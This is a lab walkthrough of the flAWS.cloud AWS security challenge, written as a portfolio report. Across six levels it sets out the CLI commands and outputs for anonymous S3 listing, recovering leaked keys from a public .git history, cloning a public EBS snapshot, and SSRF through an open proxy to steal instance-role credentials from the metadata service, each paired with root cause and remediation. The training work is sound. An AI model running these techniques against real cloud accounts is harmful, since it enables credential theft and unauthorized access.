◆ SECURITY PROJECT · CLOUD SECURITY · OFFENSIVE AWS

FLAWS.CLOUD WALKTHROUGH

A full six-level walkthrough of the flAWS.cloud challenge — from an anonymous public S3 bucket, through credentials leaked in git history and a publicly shared EC2 snapshot, to an SSRF that steals instance-role credentials from the metadata service, and IAM privilege enumeration that pivots into a Lambda behind API Gateway. Real AWS CLI evidence, root cause, and remediation per finding. Credentials redacted.

AWS · S3 · IAM · EC2 · EBS · SSRF · IMDS · LAMBDA · API GATEWAY · 6 LEVELS

By **RASAQ AYOMIDE** · 0xC4LM4Y · calm-ay.github.io · github.com/Calm-Ay

A hands-on walkthrough of the flAWS.cloud challenge, documenting common AWS misconfigurations, how they are discovered and exploited, their root cause, and how to remediate them.

> **Authorization & legality.** flAWS.cloud is a deliberately vulnerable training environment built by Scott Piper (Summit Route) and is explicitly intended to be attacked. Every technique below was performed against that authorized target only. Never run these commands against AWS resources you do not own or are not explicitly authorized to test.
>
> **Evidence hygiene.** My own AWS account ID, IAM user ID, and access keys are redacted throughout. Secrets are never committed to a public repository.

OBJECTIVE

Progress through the flAWS.cloud levels, each of which exposes a real-world AWS misconfiguration. For every level I document: the concept, the reconnaissance, the exploitation, the root cause, and the remediation.

SUMMARY OF FINDINGS

LEVEL	VULNERABILITY	TECHNIQUE	STATUS
1	Public S3 bucket listing	Anonymous `aws s3 ls --no-sign-request`	✅
2	"Authenticated AWS Users" grant	Signed request with any AWS account	✅
3	Credentials in public `.git` history	Repo recovery + `git show`	✅
4	Publicly shared EC2 snapshot	Clone volume, mount, read provisioning script	🔄 recon done, hands-on deferred
5	SSRF → EC2 metadata (IMDSv1)	Open proxy → `169.254.169.254` role creds	✅
6	Over-permissioned IAM user	Privilege enumeration → Lambda via API Gateway	✅

All six levels were analyzed; Levels 1–3, 5, and 6 were exploited end-to-end, and Level 4 is documented as a complete, ready-to-run runbook (its billable EC2 steps were intentionally deferred).

ENVIRONMENT & TOOLING

TOOL	VERSION	PURPOSE
AWS CLI	v2.34	Primary interaction with AWS services (S3, STS)
`dig` (bind)	—	DNS resolution to confirm S3-backed hosting
`curl`	—	Fetching web content from S3 website endpoints
OS	Arch Linux	Attacker workstation

Setup:

```
sudo pacman -S --needed aws-cli-v2 bind
aws --version        # aws-cli/2.34
dig +short flaws.cloud A
```

A dedicated, low-privilege IAM user (`flaws-lab`) was created in my own AWS account for the authenticated levels, keeping lab credentials isolated under a named CLI profile:

```
aws configure --profile flaws   # region: us-west-2
```

LEVEL 1 — PUBLICLY LISTABLE S3 BUCKET

Difficulty: Entry • **Status:** ✅ Complete

CONCEPT

Amazon S3 stores data in buckets. A frequent real-world misconfiguration is a bucket whose permissions allow **Everyone (public access)** to list its contents. The website `flaws.cloud` is itself an S3 bucket served as a static website — confirmed by DNS resolving to AWS S3 IP ranges in `us-west-2`.

RECONNAISSANCE

A normal visitor only ever sees `index.html`. But if anonymous listing is enabled, the AWS CLI can enumerate every object in the bucket — including files that are never linked anywhere. The `--no-sign-request` flag issues the call anonymously (no credentials), testing exactly what the entire internet can see.

```
aws s3 ls s3://flaws.cloud/ --no-sign-request --region us-west-2
```

Output:

```
2017-03-14 04:00:38       2575 hint1.html
2017-03-03 05:05:17       1707 hint2.html
2017-03-03 05:05:11       1101 hint3.html
2024-02-22 03:32:41       2861 index.html
2018-07-10 17:47:16      15979 logo.png
2017-02-27 02:59:28         46 robots.txt
2017-02-27 02:59:30       1051 secret-dd02c7c.html
```

EXPLOITATION

The listing reveals `secret-dd02c7c.html` — a file with a deliberately unguessable name, never linked from the website. Its randomized filename is security through obscurity, which bucket listing defeats completely. The file is served over the S3 **website** endpoint, which only answers on plain HTTP (S3 website endpoints do not serve HTTPS on a custom domain — an HTTPS request fails silently):

```
curl -sS -i http://flaws.cloud/secret-dd02c7c.html
```

The response (`HTTP/1.1 200 OK` , `Server: AmazonS3`) contained:

```
<h1>Congrats! You found the secret file!</h1>
Level 2 is at http://level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud
```

Note the page even carried `<META NAME="ROBOTS" CONTENT="NOINDEX, NOFOLLOW">` — an attempt to hide the file from search engines, which is irrelevant once the bucket is directly listable.

ROOT CAUSE

The bucket's ACL granted the `Everyone` / **All Users** group the `s3:ListBucket` permission, exposing the full object inventory to anonymous users.

REMEDIATION

- Remove public-read / public-list grants from the bucket ACL and policy.
- Enable **S3 Block Public Access** at both the account and bucket level.
- Do not rely on unguessable object names ("security through obscurity") to protect sensitive files; use IAM policies / bucket policies for real authorization.

KEY TAKEAWAY

> `--no-sign-request` is the single most important S3 recon command: it shows what any anonymous internet user can see. Obscure filenames are not access control.

LEVEL 2 — "ANY AUTHENTICATED AWS USER" IS NOT A TRUST BOUNDARY

Difficulty: Entry • **Status:** ✅ Complete

CONCEPT

Level 2 fixes anonymous access but introduces a subtler flaw: the bucket grants access to the **"Any Authenticated AWS User"** group. This is widely misread as "my users." It actually means *any* person holding *any* valid AWS account — tens of millions of identities — because signing up for a free AWS account takes minutes.

EXPLOITATION

Step 1 — Confirm the anonymous hole is closed. The Level 1 technique now fails:

```
aws s3 ls s3://level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud/ \
  --no-sign-request --region us-west-2
```

```
An error occurred (AccessDenied) when calling the ListObjectsV2 operation: Access Denied
```

Step 2 — Exploit using *any* authenticated identity. The same command, signed with my zero-privilege `flaws-lab` user, succeeds:

```
aws s3 ls s3://level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud/ \
  --profile flaws --region us-west-2
```

```
2017-02-27 03:02:15      80751 everyone.png
2017-03-03 04:47:17       1433 hint1.html
2017-02-27 03:04:39       1035 hint2.html
2017-02-27 03:02:14       2786 index.html
2017-02-27 03:02:14         26 robots.txt
2017-02-27 03:02:15       1051 secret-e4443fc.html
```

The authorization comes from the **bucket's own ACL**, not from my account's IAM permissions — my `flaws-lab` user has zero rights to this bucket from its own side. That is precisely why "authenticated" is not a security boundary.

Step 3 — Retrieve the secret. `secret-e4443fc.html` reveals the next level:

```
curl -sS http://level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud/secret-e4443fc.html
# → Level 3 is at http://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud
```

ROOT CAUSE

ACL grant to the **Authenticated Users** group, mistakenly treated as equivalent to "users within my organization." In reality it authorizes every AWS account on earth.

REMEDIATION

- Never use the **Authenticated Users** group for access control.
- Scope access with explicit IAM principals / bucket policies naming specific accounts or roles.
- Enable **S3 Block Public Access**.

KEY TAKEAWAY

> "Authenticated" means any AWS account, not your accounts. The anonymous-vs-signed request pair (`AccessDenied` → success) is the clean proof of this misconfiguration.

LEVEL 3 — LEAKED CREDENTIALS IN A BUCKET'S GIT HISTORY

Difficulty: Medium • **Status:** 🔄 In progress

CONCEPT

The Level 3 bucket is publicly listable (like Level 1), but hidden inside it is a `.git` directory. Developers frequently commit secrets — such as AWS access keys — then "remove" them in a later commit, forgetting that **git history retains every prior version.** Recovering the repo and walking its history exposes the leaked keys, which can then be used to authenticate to the account.

EXPLOITATION

Step 1 — List anonymously and spot the artifact. The bucket exposes a `.git` directory, which has no business in a static-site bucket:

```
aws s3 ls s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/ \
  --no-sign-request --region us-west-2
```

```
                           PRE .git/
2017-02-27 01:14:33     123637 authenticated_users.png
...
2020-05-22 19:21:10       1861 index.html
```

Step 2 — Recover the repository. Sync the full bucket (including `.git`) to disk:

```
aws s3 sync s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/ . \
  --no-sign-request --region us-west-2
```

Step 3 — Walk the history. The commit log reveals a telling message:

```
git log --oneline
```

```
b64c8dc (HEAD -> master) Oops, accidentally added something I shouldn't have
f52ec03 first commit
```

Step 4 — Extract the leaked secret. The secret was added in the first commit and "removed" in the second — but git retained it:

```
git show f52ec03
```

```
+++ b/access_keys.txt
+access_key AKIA****************  (redacted)
+secret_access_key ****************************  (redacted)
```

Step 5 — Use the stolen credentials. Configured as a new profile, the keys resolve to a different account's IAM user — a cross-account credential compromise:

```
aws configure --profile flaws-level3
aws sts get-caller-identity --profile flaws-level3
```

```
{
    "Account": "975426262029",
    "Arn": "arn:aws:iam::975426262029:user/backup"
}
```

This `backup` user carries privileges the attacker's own identity never had (e.g. `s3:ListAllMyBuckets`), enabling account-wide enumeration.

Step 6 — Enumerate the whole account. The stolen key lists every bucket in the victim account, not just the one level being targeted:

```
aws s3 ls --profile flaws-level3
```

```
... flaws.cloud
... level2-...flaws.cloud
... level3-...flaws.cloud
... level4-1156739cfb264ced6de514971a4bef68.flaws.cloud
... level5-...flaws.cloud
... level6-...flaws.cloud
... config-bucket-975426262029
... flaws-logs
```

A single leaked key escalated from "one bucket" to full visibility of the account's storage — the real-world blast radius of credential leakage.

ROOT CAUSE

A `.git` directory was deployed to a public website bucket, and live AWS credentials were committed to history. "Deleting" a secret in a later commit does not remove it from git history.

REMEDIATION

- Never deploy `.git` to a web root / public bucket (exclude it from the sync/build).

- Never commit credentials; use environment variables, IAM roles, or a secrets manager.
- If a key is ever committed, **rotate/revoke it immediately** — removing it from a later commit is not sufficient.
- Scan repositories for secrets (e.g. gitleaks / truffleHog) in CI.

KEY TAKEAWAY

> Git history is forever. A leaked key must be rotated, not just deleted — and a public `.git` directory hands an attacker the entire history.

LEVEL 4 — PUBLICLY SHARED EC2 SNAPSHOT

Difficulty: Medium • **Status:** 🔄 Recon complete; hands-on exploitation deferred

CONCEPT

Level 4 serves a web page on an EC2 instance behind HTTP basic auth. A **snapshot** (a point-in-time disk image) of that server's EBS volume was taken shortly after setup and left with its **create-volume permission open to other AWS accounts.** Any account can clone that disk into its own environment, mount it, and read the server's filesystem — including the script that set the web login password.

RECON (PERFORMED — FREE API CALLS)

Using the stolen `backup` credentials, enumerate snapshots owned by the victim account:

```
aws ec2 describe-snapshots --owner-ids 975426262029 \
  --profile flaws-level3 --region us-west-2
```

```
{
  "Tags": [{ "Key": "Name", "Value": "flaws backup 2017.02.27" }],
  "SnapshotId": "snap-0b49342abd1bdcb89",
  "VolumeId": "vol-04f1c039bc13ea950",
  "State": "completed",
  "FullSnapshotSizeInBytes": 2485649408,
  "OwnerId": "975426262029"
}
```

Optionally confirm the snapshot is shared (create-volume permission granted to `all`):

```
aws ec2 describe-snapshot-attribute --snapshot-id snap-0b49342abd1bdcb89 \
  --attribute createVolumePermission --profile flaws-level3 --region us-west-2
```

EXPLOITATION RUNBOOK (BILLABLE — EXECUTE IN YOUR OWN ACCOUNT)

> These steps launch real, billable resources (an EC2 instance + an EBS volume) in the attacker's own account and require EC2 write permissions there (the read-only lab user is insufficient — use an admin identity or the console). **Tear everything down after.**

```
# 1. Clone the public snapshot into YOUR account (pick an AZ, e.g. us-west-2a)
aws ec2 create-volume --snapshot-id snap-0b49342abd1bdcb89 \
  --availability-zone us-west-2a --region us-west-2
# → note the returned VolumeId (vol-xxxx)

# 2. Launch a throwaway t2.micro (free-tier eligible) in the SAME AZ,
#    with an SSH key pair and a security group allowing inbound TCP 22.
#    (Amazon Linux 2 AMI; note the returned InstanceId.)

# 3. Attach the cloned volume to the instance
aws ec2 attach-volume --volume-id vol-xxxx --instance-id i-xxxx \
  --device /dev/sdf --region us-west-2

# 4. SSH to the instance, then mount the volume read-only
sudo mkdir -p /mnt/flaws
sudo mount -o ro /dev/xvdf1 /mnt/flaws    # device may appear as /dev/nvme1n1p1

# 5. Read the server's provisioning script to recover the basic-auth password
sudo cat /mnt/flaws/home/ubuntu/setup.sh  # contains the htpasswd command + password
```

Then browse to `http://level4-1156739cfb264ced6de514971a4bef68.flaws.cloud` and authenticate with the recovered credentials (username `flaws` + the password from the setup script). The page reveals the Level 5 URL.

TEARDOWN (DO NOT SKIP — STOPS ONGOING CHARGES)

```
aws ec2 detach-volume --volume-id vol-xxxx --region us-west-2
aws ec2 terminate-instances --instance-ids i-xxxx --region us-west-2
aws ec2 delete-volume --volume-id vol-xxxx --region us-west-2   # after detach completes
# also delete the throwaway key pair and security group if created
```

ROOT CAUSE

An EBS snapshot's `createVolumePermission` was set to **all** (public), exposing a full disk image of a production server — including provisioning scripts with plaintext secrets — to every AWS account.

REMEDIATION

- Never share snapshots publicly; keep `createVolumePermission` private or scoped to specific, trusted account IDs.
- Do not bake secrets into provisioning scripts / AMIs / snapshots; inject them at runtime via a secrets manager or instance roles.
- Audit snapshot and AMI sharing settings regularly (AWS Config / Trusted Advisor).

KEY TAKEAWAY

> A snapshot is a full copy of a disk. Sharing it publicly leaks everything that was on that disk at the time — treat snapshot/AMI sharing with the same care as the data itself.

LEVEL 5 — SSRF AGAINST THE EC2 INSTANCE METADATA SERVICE (IMDS)

Difficulty: Hard • **Status:** ✅ Complete

CONCEPT

Every EC2 instance can reach a link-local metadata endpoint at `169.254.169.254`. If an IAM role is attached to the instance, IMDS serves **temporary credentials** for that role to anything running on the box. Level 5 runs an **open HTTP proxy** on an EC2 instance — and a proxy will fetch any URL it is given, including the internal metadata address. This is **Server-Side Request Forgery (SSRF)**: coercing the server into requesting an internal resource the attacker cannot reach directly, then exfiltrating its own role credentials.

EXPLOITATION

The proxy runs at the fixed host `4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud`.

Step 1 — Enumerate the attached role via the proxy:

```
curl -sS http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/
# → flaws
```

Step 2 — Extract the role's temporary credentials:

```
curl -sS http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws
```

```
{
  "Code" : "Success",
  "AccessKeyId" : "ASIA****************  (redacted)",
  "SecretAccessKey" : "****************  (redacted)",
  "Token" : "****************  (redacted)",
  "Expiration" : "2026-10-01T22:53:29Z"
}
```

Note the `ASIA` prefix (temporary credentials) and the session `Token` — both required to use the keys.

Step 3 — Load the stolen credentials into a profile (temporary creds need all three components):

```
aws configure set aws_access_key_id ASIA... --profile level5
aws configure set aws_secret_access_key ...  --profile level5
aws configure set aws_session_token ...      --profile level5
aws configure set region us-west-2           --profile level5
```

Step 4 — Confirm the assumed identity:

```
aws sts get-caller-identity --profile level5
```

```
{
    "Account": "975426262029",
    "Arn": "arn:aws:sts::975426262029:assumed-role/flaws/i-05bef8a081f307783"
}
```

Step 5 — Use the role to access the next level's bucket:

```
aws s3 ls s3://level6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloud/ \
  --profile level5 --region us-west-2
```

```
                           PRE ddcc78ff/
2017-02-27 03:11:07        871 index.html
```

ROOT CAUSE

An open proxy allowed arbitrary outbound requests, including to the link-local metadata IP. Combined with IMDSv1 (no session-token requirement), any SSRF primitive yields the instance role's credentials.

REMEDIATION

- **Enforce IMDSv2** (session-oriented, token-required) and set the hop limit to 1.
- Never run open/forwarding proxies; validate and allow-list outbound request targets and block link-local/metadata ranges (`169.254.169.254`).
- Apply least privilege to instance roles so a compromise yields minimal access.

KEY TAKEAWAY

> SSRF + IMDSv1 = instance credential theft. Enforcing IMDSv2 is the single highest-value mitigation against this class of attack.

LEVEL 6 — ENUMERATING YOUR OWN OVER-PERMISSIONED ACCESS

Difficulty: Hard • **Status:** ✅ Complete

CONCEPT

The final level provides a low-privilege IAM user (`level6`) whose attached policies grant more visibility than intended — `SecurityAudit` plus a custom `list_apigateways` policy. By enumerating its own permissions, an attacker discovers a Lambda function exposed through API Gateway and invokes it to reach otherwise-protected data — the real-world pattern of privilege enumeration and serverless pivoting.

EXPLOITATION

Step 1 — Enumerate the user's attached policies:

```
aws iam list-attached-user-policies --user-name level6 --profile level6
```

```
{ "AttachedPolicies": [
    { "PolicyName": "MySecurityAudit" },
    { "PolicyName": "list_apigateways" }
] }
```

Step 2 — Read the custom policy document. The `list_apigateways` policy grants `apigateway:GET` over an API Gateway resource:

```
aws iam get-policy-version \
  --policy-arn arn:aws:iam::975426262029:policy/list_apigateways \
  --version-id v1 --profile level6
```

```
{ "Action": ["apigateway:GET"], "Effect": "Allow",
  "Resource": "arn:aws:execute-api:us-west-2:975426262029:puspzvwgb6/*" }
```

Step 3 — Discover the Lambda function (via `SecurityAudit`):

```
aws lambda list-functions --profile level6 --region us-west-2
# → FunctionName: Level6, Arn: arn:aws:lambda:us-west-2:975426262029:function:Level6
```

Step 4 — Read the Lambda's resource policy to find its API Gateway trigger:

```
aws lambda get-policy --function-name Level6 --profile level6 --region us-west-2
```

The `SourceArn` reveals the invoking API, method, and path:

```
arn:aws:execute-api:us-west-2:975426262029:s33ppypa75/*/GET/level6
```

Step 5 — Resolve the deployment stage:

```
aws apigateway get-stages --rest-api-id s33ppypa75 --profile level6 --region us-west-2
# → stageName: Prod
```

Step 6 — Invoke the endpoint (`https://<api-id>.execute-api.<region>.amazonaws.com/<stage>/<path>`):

```
curl -sS https://s33ppypa75.execute-api.us-west-2.amazonaws.com/Prod/level6
```

```
"Go to http://theend-...flaws.cloud/d730aa2b/"
```

Challenge complete. 🎉

ROOT CAUSE

An over-permissioned IAM user (`SecurityAudit` + `apigateway:GET`) let an attacker enumerate the account, discover a serverless function and its API Gateway trigger, and invoke it directly.

REMEDIATION

- Apply least privilege; `SecurityAudit` grants broad read visibility and should be scoped/monitored.

- Require authorization (IAM auth, API keys, authorizers) on API Gateway methods rather than leaving them open for any caller.
- Monitor IAM enumeration activity (CloudTrail) as an early indicator of reconnaissance.

KEY TAKEAWAY

> Read-only is not harmless. Permission to enumerate an account is enough to map resources, find a serverless entry point, and pivot to the objective.

SKILLS DEMONSTRATED

- AWS S3 enumeration — anonymous vs. authenticated access testing, bucket/object listing
- AWS CLI proficiency across `s3`, `sts`, `iam`, `ec2`, `lambda`, `apigateway`; named profiles and credential isolation (permanent vs. temporary/ `ASIA` session-token creds)
- IAM analysis — user/role enumeration, attached-policy and policy-version inspection, least-privilege reasoning, and cross-account credential compromise
- Secret recovery from exposed `.git` history (git log/show)
- EC2/EBS attack path — public snapshot discovery and disk-image mounting methodology
- SSRF against the EC2 Instance Metadata Service (IMDSv1) to steal instance role creds
- Serverless pivoting — discovering a Lambda via API Gateway and invoking it
- DNS and HTTP reconnaissance of cloud-hosted assets
- Root-cause analysis and actionable remediation mapped to each finding
- Responsible evidence handling (redaction of sensitive identifiers and credentials)

REFERENCES

- flAWS.cloud — http://flaws.cloud (Scott Piper / Summit Route)
- AWS S3 Block Public Access documentation
- AWS IAM best practices

Author: RASAQ AYOMIDE (0xC4LM4Y) • Walkthrough performed on Arch Linux, October 2026

— END OF REPORT · 0XC4LM4Y —